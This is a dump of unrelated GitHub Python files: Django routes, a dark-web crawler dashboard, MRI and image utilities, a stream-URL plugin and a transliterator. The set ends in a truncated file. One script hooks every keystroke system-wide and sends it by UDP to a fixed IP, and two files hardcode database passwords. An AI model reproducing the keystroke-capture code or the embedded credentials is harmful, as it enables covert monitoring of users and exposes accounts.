+{"seq_id":"72360778667","text":"from django.conf.urls import url\nfrom . import views, views_stats\n\nurlpatterns = [\n    url( r'^u/$', views.UserRedirect.as_view(), name='profile'),\n    url( r'^u/(?P<username>\\w+)/$', views.UserProfile.as_view()),\n    # list tournaments, il only one, display matchbets\n    #url( r'^$', views.bet_index, name='index' ),\n    url( r'^$', views.mbet_available, name='mbet_list' ),\n    url( r'^mybets/$', views.MyBets.as_view(), name='mybets'),\n    url( r'^tbet_add/$', views.bet_index, name=\"tbet_add\" ),\n    url( r'^tbet_add/(?P<tournament_id>[0-9]+)/$', views.tournamentBet_add, name=\"tbet_add\" ),\n    url( r'^tbet_add/(?P<tournament_id>[0-9]+)/(?P<tbet_id>[0-9]+)/$', views.tournamentBet_add, name=\"tbet_add\" ),\n    url( r'^tbet/(?P<tbet_id>[0-9]+)/$', views.tbet_detail, name='tbet_detail' ),\n    url( r'^(?P<tournament_id>[0-9]+)/$', views.tbet_list, name='tbet_list' ),\n    url( r'^(?P<tournament_id>[0-9]+)/mbet_list/$', views.mbet_available, name='mbet_list' ),\n    #url( r'^mbet_add/$', views.matchBet_add, name='mbet_add' ),\n    url( r'^mbet_add/(?P<tournament_id>[0-9]+)/$', views.matchBet_add, name='mbet_add' ),\n    url( r'^mbet_add/(?P<tournament_id>[0-9]+)/(?P<mbet_id>[0-9]+)/$', views.matchBet_add, name='mbet_add_post_mid' ),\n    url( r'^mbet_add/(?P<tournament_id>[0-9]+)/match/(?P<m_id>[0-9]+)/$', views.matchBet_add, name='mbet_add_mid' ),\n    url( r'^mbet/(?P<mbet_id>[0-9]+)/$', views.mbet_detail, name=\"mbet_detail\" ),\n    url( r'^prognosis/$', views.prognosis, name=\"prognosis\" ),\n    url( r'^stats/$', views_stats.stats, name=\"stats\" ),\n    url( r'^stats-perso/$', views_stats.stats_perso, name=\"stats_perso\" ),\n    url( r'^rank/$', views.BetRanking.as_view(), name=\"betrank\" ),\n\n]\n","repo_name":"cedlerouge/betwit","sub_path":"bets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36627640684","text":"import psycopg2\nimport threading\nfrom flask import Flask, request, render_template\nimport json\nimport threading\nfrom analytics.OpinionFetcher import OpinionFetcher\nfrom analytics.TrendMode import TrendMode\nfrom datetime import datetime, timedelta, timezone\nfrom analytics.TrendsLive import TrendsLive\nfrom crawler.seed_crawler import seed_crawler\nfrom flask_cors import CORS, cross_origin\nimport html\n\napp = Flask(__name__, static_folder='./static/dist', template_folder='./static/')\nCORS(app)\n\n@app.route('/geo', methods=['GET'])\ndef geo():\n    connect_str = \"dbname='deepweb' user='midza' host='10.120.193.201' password='midza555333!'\" \n    conn = psycopg2.connect(connect_str) \n    cursor = conn.cursor() \n    # give geo stuff\n    cursor.execute(\"\"\"SELECT * FROM locations\"\"\") \n    rows = cursor.fetchall()\n    rows_obj = [{'lat': row[0], 'lng': row[1], 'num_occ': row[2], \n                 'name': row[3], 'sentiment': row[4] / row[2]} for row in rows]\n    return json.dumps(rows_obj)\n\n@app.route('/opinion', methods=['GET'])\ndef opinion():\n    args = request.args\n    if 'text' in args.keys():\n        text = args.get('text')\n        fetcher = OpinionFetcher()\n        opinions, verdict = fetcher.fetch(text)\n        resp_obj = [{'len': len(opinions), 'verdict': str(verdict), 'opinions': opinions}]\n        return json.dumps(resp_obj)\n    return json.dumps(\"Bad request\")\n\n@app.route('/trends', methods=['GET'])\ndef trends():\n    args = request.args\n    if 'date' in args.keys() and 'mode' in args.keys() and 'limit' in args.keys():\n        if args.get('mode') == 'W':\n            mode = TrendMode.WEEK\n        elif args.get('mode') == 'M':\n            mode = TrendMode.MONTH\n        elif args.get('mode') == 'Y':\n            mode = TrendMode.YEAR\n        else:\n            return json.dumps(\"Invalid mode\")\n        date = datetime.utcfromtimestamp(float(args.get('date')))\n        limit = args.get('limit')\n        tl = TrendsLive()\n        trends, date_old, date_new = tl.get_trends(date, mode, limit)\n        trends_dict = [{'word': t[0], 'wpd2': t[1], 'wpd1': t[2], 'wpd_diff': t[3]} for t in trends]\n        for trend in trends_dict:\n            print(mode, date_old, date_new)\n            dates = tl.get_occurences(trend['word'], date_old, date_new)\n            print(dates)\n            trend['dates'] = [d.replace(tzinfo=timezone.utc).timestamp() for d in dates]\n        return json.dumps(trends_dict)\n    return json.dumps(\"Bad request\")\n\n@app.route('/seed', methods=['POST'])\ndef seed():\n    data = request.get_json()\n    if data and data.get('query'):\n        results = ['tred']\n        t = threading.Thread(target=seed_crawler, args=(data.get('query'),))\n        t.start()\n        return json.dumps(\"Found \" + str(results) + \" results.\")\n    return json.dumps(\"Bad request\")\n\n@app.route('/onions', methods=['GET'])\ndef onions():\n    args = request.args\n    if 'limit' in args.keys():\n        limit = args.get('limit')\n        connect_str = \"dbname='deepweb' user='midza' host='10.120.193.201' password='midza555333!'\" \n        conn = psycopg2.connect(connect_str) \n        cursor = conn.cursor() \n        # give geo stuff\n        cursor.execute(\"\"\"SELECT url, title, timestamp FROM newpage ORDER BY timestamp DESC LIMIT %s\"\"\", (limit,)) \n        rows = cursor.fetchall()\n        rows_obj = [{'url': row[0], 'title': html.unescape(row[1]), 'timestamp': row[2].replace(tzinfo=timezone.utc).timestamp()} for row in rows]\n        return json.dumps(rows_obj)\n    return json.dumps(\"Bad request\")\n\n@app.route('/textBlocks', methods=['GET'])\ndef textBlocks():\n    args = request.args\n    if 'url' in args.keys():\n        url = args.get('url')\n        connect_str = \"dbname='deepweb' user='midza' host='10.120.193.201' password='midza555333!'\" \n        conn = psycopg2.connect(connect_str) \n        cursor = conn.cursor() \n        # give geo stuff\n        cursor.execute(\"\"\"SELECT sha1, text, time FROM text_block WHERE page_url=%s\"\"\", (url,)) \n        rows = cursor.fetchall()\n        rows_obj = [{'sha1': row[0], 'text': html.unescape(row[1]), 'time': (None\n            if not row[2] else row[2].replace(tzinfo=timezone.utc).timestamp())} for row in rows]\n        return json.dumps(rows_obj)\n    return json.dumps(\"Bad request\")\n\nif __name__ == '__main__':\n    app.run(host='10.120.193.201')\n","repo_name":"ogigoc/deep-web-hackathon","sub_path":"dashboard/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"33790949675","text":"from torch.utils.data import Dataset, DataLoader\nimport torch\nimport os\nimport numpy as np\n\n# Data generator class\nclass data_generator_inference(Dataset):\n\n    def __init__(self, list_ids, root_path, semantics, model_type):\n        \n        # Store important information.\n        self.list_ids = list_ids\n        self.root_path = root_path\n        self.semantics = semantics\n        self.model_type = model_type\n                \n    def __len__(self):\n        return len(self.list_ids)\n\n    def __getitem__(self, idx):\n\n        # Extract semantic info.\n        set_x, set_y, set_z = self.semantics[0]\n        num_teacher_mods = self.semantics[1]\n        num_student_mods = self.semantics[2]\n        \n        # Data folder path.\n        root_path = self.root_path\n    \n        # Get folder path for this sample.\n        sample = (self.list_ids)[idx]\n        full_path = os.path.join(root_path, sample, \"LGG_or_HGG\")\n        \n        # Get and sort modalities/sequences.\n        modalities = os.listdir(full_path)\n        modalities = sorted(modalities)\n\n        # Holds the modalities/sequences.\n        x_mods = []\n        \n        ##########################################\n        ############### BRAIN MASK ###############\n        ##########################################\n        \n        # Get the brain mask.\n        mask_path = os.path.join(full_path, \"mask.npy\")\n        mask = np.load(mask_path)\n        unpadded_mask = np.copy(mask)\n        \n        # Determine the required padding.\n        x_init,y_init,z_init = np.shape(mask)\n        \n        x_diff = set_x - x_init\n        y_diff = set_y - y_init\n        z_diff = set_z - z_init\n\n        x_start = np.absolute(x_diff//2)\n        x_end = np.absolute(x_diff) - x_start\n        y_start = np.absolute(y_diff//2)\n        y_end = np.absolute(y_diff) - y_start\n        z_start = np.absolute(z_diff//2)\n        z_end = np.absolute(z_diff) - z_start\n        \n        flag_x = False\n        flag_y = False\n        flag_z = False\n        \n        if(x_diff<0):\n            print(\"Warning: Sample\",sample,\"cutoff in dim0.\")\n            flag_x = True\n        if(y_diff<0):\n            print(\"Warning: Sample\",sample,\"cutoff in dim1.\")\n            flag_y = True\n        if(z_diff<0):\n            print(\"Warning: Sample\",sample,\"cutoff in dim2.\")\n            flag_z = True\n\n        # Pad the brain mask.\n        if(flag_x):\n            mask = mask[x_start:x_init-x_end,:,:]\n        else:\n            mask = np.pad(mask,((x_start,x_end),(0,0),(0,0)))\n        if(flag_y):\n            mask = mask[:,y_start:y_init-y_end,:]\n        else:\n            mask = np.pad(mask,((0,0),(y_start,y_end),(0,0)))\n        if(flag_z):\n            mask = mask[:,:,z_start:z_init-z_end]\n        else:\n            mask = np.pad(mask,((0,0),(0,0),(z_start,z_end)))\n                \n        # Check padding.\n        x_fin, y_fin, z_fin = np.shape(mask)\n        if ((x_fin != set_x) or (y_fin != set_y) or (z_fin != set_z)):\n            print(\"Should be\", (set_x,set_y,set_z),\", but it is\",(x_fin,y_fin,z_fin))\n            raise Exception(\"Error: Wrong size after padding the brain mask.\")\n        \n        # Convert brain mask to tensor.\n        mask = torch.from_numpy(np.int16(mask))\n        \n        ##########################################\n        ################### MODS #################\n        ##########################################\n        \n        # Each folder contains 4 modalities/sequences, the brain mask, and the segmentation ground truth.\n        for modality_name in modalities:\n\n            # We only want the modalities/sequences (i.e., not the brain mask or the segmentation map).\n            if \".npy\" in modality_name:\n                if ((\"mask\" not in modality_name) and (\"seg\" not in modality_name)):\n                    \n                    # Get modality.\n                    mod_path = os.path.join(full_path, modality_name)\n                    modality = np.load(mod_path)\n                    modality = np.float32(modality)\n  \n                    # Normalize the modalities/sequences so that they have 0 mean and unit standard deviation.\n                    brain_mask = np.where(unpadded_mask==1)\n                    mu = modality[brain_mask].mean()\n                    sigma = modality[brain_mask].std()\n\n                    modality = (modality - mu) / sigma\n                    modality = np.clip(modality, np.min(modality),3)\n                    modality = (modality + (-np.min(modality))) / (3-np.min(modality))\n                    \n                    # Pad the modality/sequence.\n                    if(flag_x):\n                        modality = modality[x_start:x_init-x_end,:,:]\n                    else:\n                        modality = np.pad(modality,((x_start,x_end),(0,0),(0,0)), 'constant', constant_values=(0))\n                    if(flag_y):\n                        modality = modality[:,y_start:y_init-y_end,:]\n                    else:\n                        modality = np.pad(modality,((0,0),(y_start,y_end),(0,0)), 'constant', constant_values=(0))\n                    if(flag_z):\n                        modality = modality[:,:,z_start:z_init-z_end]\n                    else:\n                        modality = np.pad(modality,((0,0),(0,0),(z_start,z_end)), 'constant', constant_values=(0))\n                    \n                    # Check padding.\n                    x_fin, y_fin, z_fin = np.shape(modality)\n                    if ((x_fin != set_x) or (y_fin != set_y) or (z_fin != set_z)):\n                        print(\"Should be\", (set_x,set_y,set_z),\", but it is\",(x_fin,y_fin,z_fin))\n                        raise Exception(\"Error: Wrong size after padding the modality.\")        \n        \n                    # Save the modality/sequence as a tensor.\n                    modality = torch.from_numpy(modality)\n                    modality = modality.unsqueeze(0)\n                                        \n                    # Append the modality/sequence to the list of modalities/sequences.\n                    # If this is the student network, only append pre-contrast modalities/sequecnes.\n                    if(self.model_type == \"teacher\"):\n                        x_mods.append(modality)\n                    elif(self.model_type == \"student\"): \n                        if (\"t1c\" not in modality_name):\n                            x_mods.append(modality)\n                    else:\n                        raise Exception(\"ERROR: Unsupported model type\",self.model_type,\".\")\n\n        # Check lengths of the modality/sequence list.\n        if(self.model_type == \"teacher\"):\n            if(len(x_mods)!=num_teacher_mods):\n                raise Exception(\"ERROR: length of x_mods is not\", num_teacher_mods,\"! It is \", len(x_mods),\"!\")\n        elif(self.model_type == \"student\"): \n            if(len(x_mods)!=num_student_mods):\n                raise Exception(\"ERROR: length of x_mods is not\", num_student_mods,\"! It is \", len(x_mods),\"!\")\n        else:\n            raise Exception(\"ERROR: Unsupported model type\",self.model_type,\".\")\n                    \n        # Concatenate the input modalities.\n        if(self.model_type == \"teacher\"):\n            x_cat_mods = torch.cat((x_mods[0],x_mods[1],x_mods[2],x_mods[3]), dim=0)\n        elif(self.model_type == \"student\"):\n            x_cat_mods = torch.cat((x_mods[0],x_mods[1],x_mods[2]), dim=0)\n        else:\n            raise Exception(\"ERROR: Unsupported model type\",self.model_type,\".\")            \n        \n        # Padding information for post-processing.\n        padding_info = ((x_start, x_end),(y_start, y_end),(z_start, z_end), (flag_x, flag_y, flag_z))\n        \n        # Return the inputs and other info.\n        return (x_cat_mods, sample, padding_info)","repo_name":"SaverioVad/HAD_Net","sub_path":"utils/data_generator_inference.py","file_name":"data_generator_inference.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"}
+{"seq_id":"43630259450","text":"from .utils.download import download_from_df\nimport pandas as pd\n\nif __name__ =='__main__':\n    from argparse import ArgumentParser\n    parser = ArgumentParser()\n    parser.add_argument('-i','--input_path', type=str)\n    parser.add_argument('-o','--output', type=str)\n    args = parser.parse_args()\n    df = pd.read_csv(args.input_path)\n    df = download_from_df(df,save_dir=args.output)\n    df.to_csv(args.input_path.replace('.csv','_download_results.csv'),index=False)","repo_name":"meta-tabchen/paper-finder","sub_path":"src/paper_finder/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"886616909","text":"import numpy as np\nfrom skimage import exposure\n\n\ndef hist_equalization(image, out_max=None):\n    \"\"\"\n    Histogram equalization.\n    \n    \"\"\"\n    if out_max is None:\n        out_max = np.iinfo(image.dtype).max\n    return exposure.equalize_hist(image)*out_max\n\n\ndef gamma_correction(image, out_max=None):\n    if out_max is None:\n        out_max = np.iinfo(image.dtype).max\n    return exposure.adjust_gamma(image, 2)/out_max\n\n\ndef windowing(image, cutoff_ratio = (0.0,0.0)):\n    \"\"\"\n    image: [h, w]\n    cutoff_ratio: [cutoff_left, cutoff_right]\n    Returns: rescaled image\n    \"\"\"\n    \n    orishape = image.shape\n    counts_total = orishape[1]*orishape[0] # w*h\n    cutoff_left = int(counts_total*cutoff_ratio[0])\n    cutoff_right = int(counts_total*(1-cutoff_ratio[1]))\n    \n    image_histo = image.ravel()\n\n    values, counts = np.unique(image_histo, return_counts=True)\n    \n    counts_cumsum = np.cumsum(counts)\n    \n    window_min_idx = np.argmin(counts)\n    for i, count_cumsum in enumerate (counts_cumsum):\n        if count_cumsum > cutoff_left:\n            window_min_idx = i\n            break\n    window_min_val = values[window_min_idx]\n        \n    window_max_idx = np.argmax(counts_cumsum)\n    for i, count_cumsum in enumerate (counts_cumsum[::-1]):\n        if count_cumsum < cutoff_right:\n            window_max_idx = len(counts_cumsum)-i-1\n            break\n    window_max_val = values[window_max_idx]\n    \n    window_width = window_max_val - window_min_val + 1\n    window_center = window_min_val + window_width/2\n    image = get_LUT_value_wwwl(image, window_width, window_center, 0, 255)\n    \n    return image\n\n\ndef get_LUT_value_wwwl(data, width, level, out_min, out_max):\n    return np.piecewise(data,\n                        [data <= (level - 0.5 - (width-1)/2),\n                         data > (level - 0.5 + (width-1)/2)],\n                        [out_min, out_max, lambda data: ((data - (level - 0.5))/(width-1) + 0.5)*(out_max-out_min)])\n\n\ndef invert_image(data, dtype=None):\n    '''data: array\n    Returns: rescaled inverted data'''\n        \n    if dtype:\n        high = np.iinfo(dtype).max\n        low = np.iinfo(dtype).min\n    else:\n        high = data.max()\n        low = data.min()\n        dtype = data.dtype\n        \n    data = ~data\n    cmin = data.min()\n    cmax = data.max()\n        \n    scale = float(high - low) / (cmax - cmin)\n    bytedata = (data - cmin) * scale + low\n    return (bytedata.clip(low, high) + 0.5).astype(dtype)    \n\n\ndef crop_image(image, roi_meta, margin=(0,0,0,0)):\n    \"\"\"Crop image with interest roi location.\n    image: [h, w, channel]\n    roi_meta: [h, w, y1, x1, y2, x2] : at roi\n    margin: [y1, x1, y2, x2] : margin at roi\n    cropmeta: [h, w, y1, x1, y2, x2] : at image\n    Returns : image(cropped), cropmeta\n    \"\"\"\n    src_size = image.shape\n    roi_size = roi_meta[:2]\n        \n    top_y, top_x, bottom_y, bottom_x = roi_meta[2:] + margin*np.asarray((-1, -1, 1, 1))\n    if(top_x < 0) : top_x = 0\n    if(top_y < 0) : top_y = 0\n    if(bottom_x >= roi_size[1]) : bottom_x = roi_size[1]\n    if(bottom_y >= roi_size[0]) : bottom_y = roi_size[0]\n            \n    sizeDiffRatio = np.array(np.divide(src_size[:2],roi_size), dtype=\"float64\")\n    top_x = int(top_x*sizeDiffRatio[1])\n    top_y = int(top_y*sizeDiffRatio[0])\n    bottom_x = int(bottom_x*sizeDiffRatio[1])\n    bottom_y = int(bottom_y*sizeDiffRatio[0])\n\n    image_cropped = image[top_y:bottom_y, top_x:bottom_x, :]\n        \n    return image_cropped, np.concatenate((src_size[:2], [top_y, top_x, bottom_y, bottom_x]), axis=0)\n\n\ndef restore_mask_withCropmeta(image, crop_meta=None):\n    \"\"\"Restore image with cropped information.\n    It is only necessary to restore the mask, so the cropped non-roi areas are filled with zeros.\n    image: [h, w, channel]\n    crop_meta : [h, w, y1, x1, y2, x2] (Loc at Original)\n    Returns: [h, w, channel]\n    \"\"\"\n    if crop_meta is None:\n        return image\n\n    restored_image = np.zeros(np.concatenate((crop_meta[:2], image.shape[2]),axis=None),dtype = image.dtype)\n    restored_image[crop_meta[2]:crop_meta[4], crop_meta[3]:crop_meta[5],:] = image\n    return restored_image\n\n\ndef crop_image_withCropmeta(image, crop_meta=None):\n    \"\"\"Crop image with already cropped information.\n    image: [h, w, channel]\n    crop_meta : [h, w, y1, x1, y2, x2] (Loc at Original)\n    Returns: [h, w, channel]\n    \"\"\"\n    if crop_meta is None:\n        return image\n    \n    assert np.all(image.shape[:2] == crop_meta[:2]), \"InputImage Size must be same with Original size.\"\n\n    top_y, top_x, bottom_y, bottom_x = crop_meta[2:]\n    image_cropped = image[top_y:bottom_y, top_x:bottom_x, :]  \n    \n    return image_cropped\n\n\ndef restore_image_withCropmeta(image, crop_meta=None):\n    \"\"\"Restore image with cropped information.\n    It is only necessary to restore the mask, so the cropped non-roi areas are filled with zeros.\n    image: [h, w, channel]\n    crop_meta : [h, w, y1, x1, y2, x2] (Loc at Original)\n    Returns: [h, w, channel]\n    \"\"\"\n    if crop_meta is None:\n        return image\n\n    restored_image = np.zeros(np.concatenate((crop_meta[:2], image.shape[2]),axis=None),dtype = image.dtype)\n    restored_image[crop_meta[2]:crop_meta[4], crop_meta[3]:crop_meta[5],:] = image\n    return restored_image\n\n\n","repo_name":"kyurikeem/ChestValve_Detection","sub_path":"src/Utils_custom.py","file_name":"Utils_custom.py","file_ext":"py","file_size_in_byte":5250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"43369211247","text":"import cv2\nimport cvlib as cv\nimport glob\n\n\nimgs = glob.glob('./image/faceon/*.jpg')\nfor i, img in enumerate(imgs):\n    img = cv2.imread(img)\n    try:\n        face, confidence = cv.detect_face(img, 0.8)\n        if not face:\n            continue\n    except:\n        print(i)\n        continue\n\n    for idx, f in enumerate(face):\n        (startX, startY) = f[0], f[1]\n        (endX, endY) = f[2], f[3]\n        face_in_img = img[startY:endY, startX:endX, :]\n        cv2.imwrite('./image/faceon/face/mask_{}.jpg'.format(idx), face_in_img)","repo_name":"jone9966/study_asiae","sub_path":"prj03_ai_face-main/face2mask/02_face_cut_cv.py","file_name":"02_face_cut_cv.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29856100996","text":"__author__ = 'Cyber-01'\nimport pyHook,pythoncom\nimport socket\nIP = \"192.168.30.10\"\nKEYBOARD_PORT = 5678\n\n\ndef KeyPress(event,keyboard_socket):\n\n    key_id = event.KeyID\n    keyboard_socket.sendto(\"*\"+hex(key_id), (IP, KEYBOARD_PORT))\n    return True\n\ndef KeyRelease(event,keyboard_socket):\n\n    key_id = event.KeyID\n    keyboard_socket.sendto(\"^\"+hex(key_id), (IP, KEYBOARD_PORT))\n    return True\n\ndef main():\n\n\n    keyboard_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  # Creating a udp client that sends keyboard activity\n\n    # create a hook manager\n    hm = pyHook.HookManager()\n\n    #hm.KeyDown = OnKeyboardEvent\n    hm.KeyDown = lambda event: KeyPress(event,keyboard_socket)\n    hm.KeyUp = lambda event: KeyRelease(event,keyboard_socket)\n  #  hm.KeyDown = lambda kdn_press: key_press_down(kdn_press, keyboard_sock, procees_list)\n    # set the hook\n    hm.HookKeyboard()\n    # wait forever\n    pythoncom.PumpMessages()\n\nif __name__ == '__main__':\n    main()","repo_name":"CyberAmiAsaf/Control-Conquer","sub_path":"controller/keyboard_far2.0.py","file_name":"keyboard_far2.0.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20520351088","text":"\n\nimport pandas as pd\nimport numpy as np\nimport pymysql\nhost = '114.32.60.100'\n#host = 'localhost'\nuser = 'guest'\npassword = '123'\n\n#---------------------------------------------------------\n\ndef execute_sql2(database,sql_text):\n    \n    conn = ( pymysql.connect(host = host,# SQL IP\n                     port = 3306,\n                     user = user,# 帳號\n                     password = password,# 密碼\n                     database = database,  # 資料庫名稱\n                     charset=\"utf8\") )   #  編碼\n                             \n    cursor = conn.cursor()    \n    # sql_text = \"SELECT * FROM `_0050_TW` ORDER BY `Date` DESC LIMIT 1\"\n    try:   \n        cursor.execute(sql_text)\n        data = cursor.fetchall()\n        conn.close()\n        return data\n    except:\n        conn.close()\n        return ''    \n#---------------------------------------------------------\n# based class \n'''\nself = LoadData()\n'''\nclass LoadData:\n    def __init__(self,database = '',data_name = ''):\n        self.data_name = data_name        \n        self.database = database     \n        self.list_col_name = ''\n        self.list_data_name = ''\n        self.drop_col = []\n        \n    def get_col_name(self):\n       \n        tem_col_name = execute_sql2(\n                database = self.database,\n                sql_text = 'SHOW columns FROM '+ self.data_name )\n    \n        col_name = []\n        for i in range(len(tem_col_name)):\n            col_name.append( tem_col_name[i][0] )\n        \n        for drop in self.drop_col:\n            col_name.remove(drop)\n        \n        self.col_name = col_name\n    \n    def execute2sql(self,text,col=''):\n        tem = execute_sql2(\n            database = self.database,\n            sql_text = text)\n        \n        if col=='Date':\n            tem = [np.datetime64(x[0]) for x in tem]\n            tem = pd.DataFrame(tem)\n            self.data[col] = tem.loc[:,0]\n        else:\n            tem = np.concatenate(tem, axis=0)\n            tem = pd.DataFrame(tem)\n            self.data[col] = tem.T.iloc[0]\n    #-----------------------------------------------------\n    def get_data(self,all_data = ''):\n        \n        self.data = pd.DataFrame()\n        for j in range(len(self.col_name)):\n            #print(j)\n            col = self.col_name[j]\n            text = 'select ' + col + ' from ' + self.data_name\n            \n            if all_data == 'T': \n                123\n\n            self.execute2sql(text,col)\n\n        return self.data\n\n    def datalist(self):\n        \n        tem = execute_sql2(\n                database = self.database,\n                sql_text = 'SELECT distinct `' + self.list_col_name + '` FROM `' + self.data_name + '`')\n        value = [ te[0] for te in tem ]\n        return value\n        \n    def load_all(self):\n        \n        self.get_col_name()\n        self.data = self.get_data(all_data='T')\n        \n#---------------------------------------------------------------\n'''\nclass ClassOrangetourData(LoadData):\n    def __init__(self):\n        super(ClassOrangetourData, self).__init__(\n                database = 'tripresso',\n                data_name = 'OrangetourData')\n\n    def load_all(self):\n        \n        self.get_col_name()\n        self.data = self.get_data(all_data='T')\n\n        return self.data\n'''  \ndef OrangetourData():\n    \n    self = LoadData(database = 'tripresso',data_name = 'OrangetourData')  \n    self.load_all()\n    \n    return self.data\n\n#---------------------------------------------------------------\n\n# GloriatourData\n# GloriatourFlightData\n# OrangetourData\n# OrangetourFlightData\n\n\ndef Load(data_name = ''):\n    database = 'tripresso'\n    \n    tem = execute_sql2(database,'SHOW TABLES')# \n    sql_data_name = [ te[0] for te in tem ]\n    \n    if  data_name in sql_data_name:\n        \n        self = LoadData(database = database,data_name = data_name)  \n        self.load_all()\n    else:\n        print( 'data_name ' + data_name + \" doesn't exist\" )\n        raise(AttributeError, \"Hidden attribute\")  \n\n    return self.data\n    #123\n#---------------------------------------------------------\n    \n'''\n\nimport sys\nsys.path.append('/home/sam/job')\nfrom tripresso.OpenData.Load import Load\n\n# 'GloriatourData',\n# 'GloriatourFlightData',\n# 'OrangetourData',\n# 'OrangetourFlightData'\n\nGloriatourData = Load(data_name = 'GloriatourData')\nGloriatourFlightData = Load(data_name = 'GloriatourFlightData')\nOrangetourData = Load(data_name = 'OrangetourData')\nOrangetourFlightData = Load(data_name = 'OrangetourFlightData')\n\n\n\n'''\n\n\n\n\n\n    \n\n","repo_name":"linsamtw/tripresso","sub_path":"OpenData/Load.py","file_name":"Load.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31066740877","text":"import random\r\nimport string\r\nimport json\r\nimport requests\r\nfrom . import logger\r\nfrom ..engine.decorators import Plugin\r\nfrom ..engine.download import DownloadBase\r\n\r\n\r\n@Plugin.download(regexp=r'(?:https?://)?(?:(?:www|m|live)\\.)?acfun\\.cn')\r\nclass Acfun(DownloadBase):\r\n    def __init__(self, fname, url, suffix='flv'):\r\n        super().__init__(fname, url, suffix)\r\n\r\n    def check_stream(self, is_check=False):\r\n        if len(self.url.split(\"acfun.cn/live/\")) < 2:\r\n            logger.debug(\"直播间地址错误\")\r\n            return False\r\n        rid = self.url.split(\"acfun.cn/live/\")[1]\r\n        did = \"web_\"+get_random_name(16)\r\n        headers1 = {\r\n            \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \"\r\n                          \"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.67\"\r\n        }\r\n        cookies = dict(_did=did)\r\n        data1 = {'sid': 'acfun.api.visitor'}\r\n        r1 = requests.post(\"https://id.app.acfun.cn/rest/app/visitor/login\",\r\n                           headers=headers1, data=data1, cookies=cookies, timeout=5)\r\n        userid = r1.json()['userId']\r\n        visitorst = r1.json()['acfun.api.visitor_st']\r\n        params = {\r\n            \"subBiz\": \"mainApp\",\r\n            \"kpn\": \"ACFUN_APP\",\r\n            \"kpf\": \"PC_WEB\",\r\n            \"userId\": str(userid),\r\n            \"did\": did,\r\n            \"acfun.api.visitor_st\": visitorst\r\n        }\r\n        data2 = {'authorId': rid, 'pullStreamType': 'FLV'}\r\n        headers2 = {\r\n            \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \"\r\n                          \"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.67\",\r\n            \"Referer\": \"https://live.acfun.cn/\"\r\n        }\r\n        r2 = requests.post(\"https://api.kuaishouzt.com/rest/zt/live/web/startPlay\",\r\n                           headers=headers2, data=data2, params=params, timeout=5)\r\n        if r2.json().get('result') != 1:\r\n            logger.debug(r2.json())\r\n            return False\r\n        d = r2.json()['data']['videoPlayRes']\r\n        self.raw_stream_url = json.loads(d)['liveAdaptiveManifest'][0]['adaptationSet']['representation'][-1]['url']\r\n        self.room_title = r2.json()['data']['caption']\r\n        return True\r\n\r\n\r\ndef get_random_name(numb):\r\n    return random.choice(string.ascii_lowercase) + \\\r\n        ''.join(random.sample(string.ascii_letters + string.digits, numb - 1))\r\n","repo_name":"biliup/biliup","sub_path":"biliup/plugins/acfun.py","file_name":"acfun.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":1853,"dataset":"github-code","pt":"37"}
+{"seq_id":"24147539019","text":"import datetime\n\n\nclass Day:\n    def __init__(self, month, year, day_of_week):\n        self.month = month\n        self.year = year\n        self.day_of_week = day_of_week\n\n    def tomorrow(self):\n        if self.day_of_week == 'Wednesday':\n            return Day(self.month, self.year, 'Thursday')\n\n\nif __name__ == '__main__':\n    day = Day('March', 1993, 'Wednesday')\n    day2 = Day('June', 1920, 'Wednesday')\n\n    print(day2.tomorrow().tomorrow().tomorrow())\n    print(datetime.now())\n","repo_name":"ScottRMalley/intro-programming","sub_path":"examples/object_example.py","file_name":"object_example.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36905598549","text":"# программа принимает с клавиатуры слова, записанные кириллицей,\n# и печатает результат латиницей\n\n# создаем функцию транслитерации с одним параметром\ndef translit_phrase(cyrillic_phrase):\n\n    # создаем функцию по созданию словаря внутри функции транслитерации\n    # это позволяет улучшать словарь независимо от функции транслитерации\n    def translit_dict():\n        translit = {}\n        cyrillic = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'\n        latin = 'abvgdeejzijklmnoprstufhzcss_y_euaABVGDEEJZIJKLMNOPRSTUFHZCSS_Y_EUA'\n        [translit.update({cyrillic[index]: latin[index]})\n         for index in range(len(cyrillic))]\n        return translit\n\n    # вызываем функцию словаря для транслитерации\n    # и передаем пользовательский ввод через параметр функции\n    # сохраненный в переменной cyrillic_phrase с областью видимости внутри функции\n    [print(translit_dict().get(index), end='') if index\n     in translit_dict() else print(index, end='') for index in cyrillic_phrase]\n    print()\n\n\n# вызываем функцию транслитерации,\n# передавая в качестве аргумента пользовательский ввод\ntranslit_phrase(input('Введите текст для транслитерации: 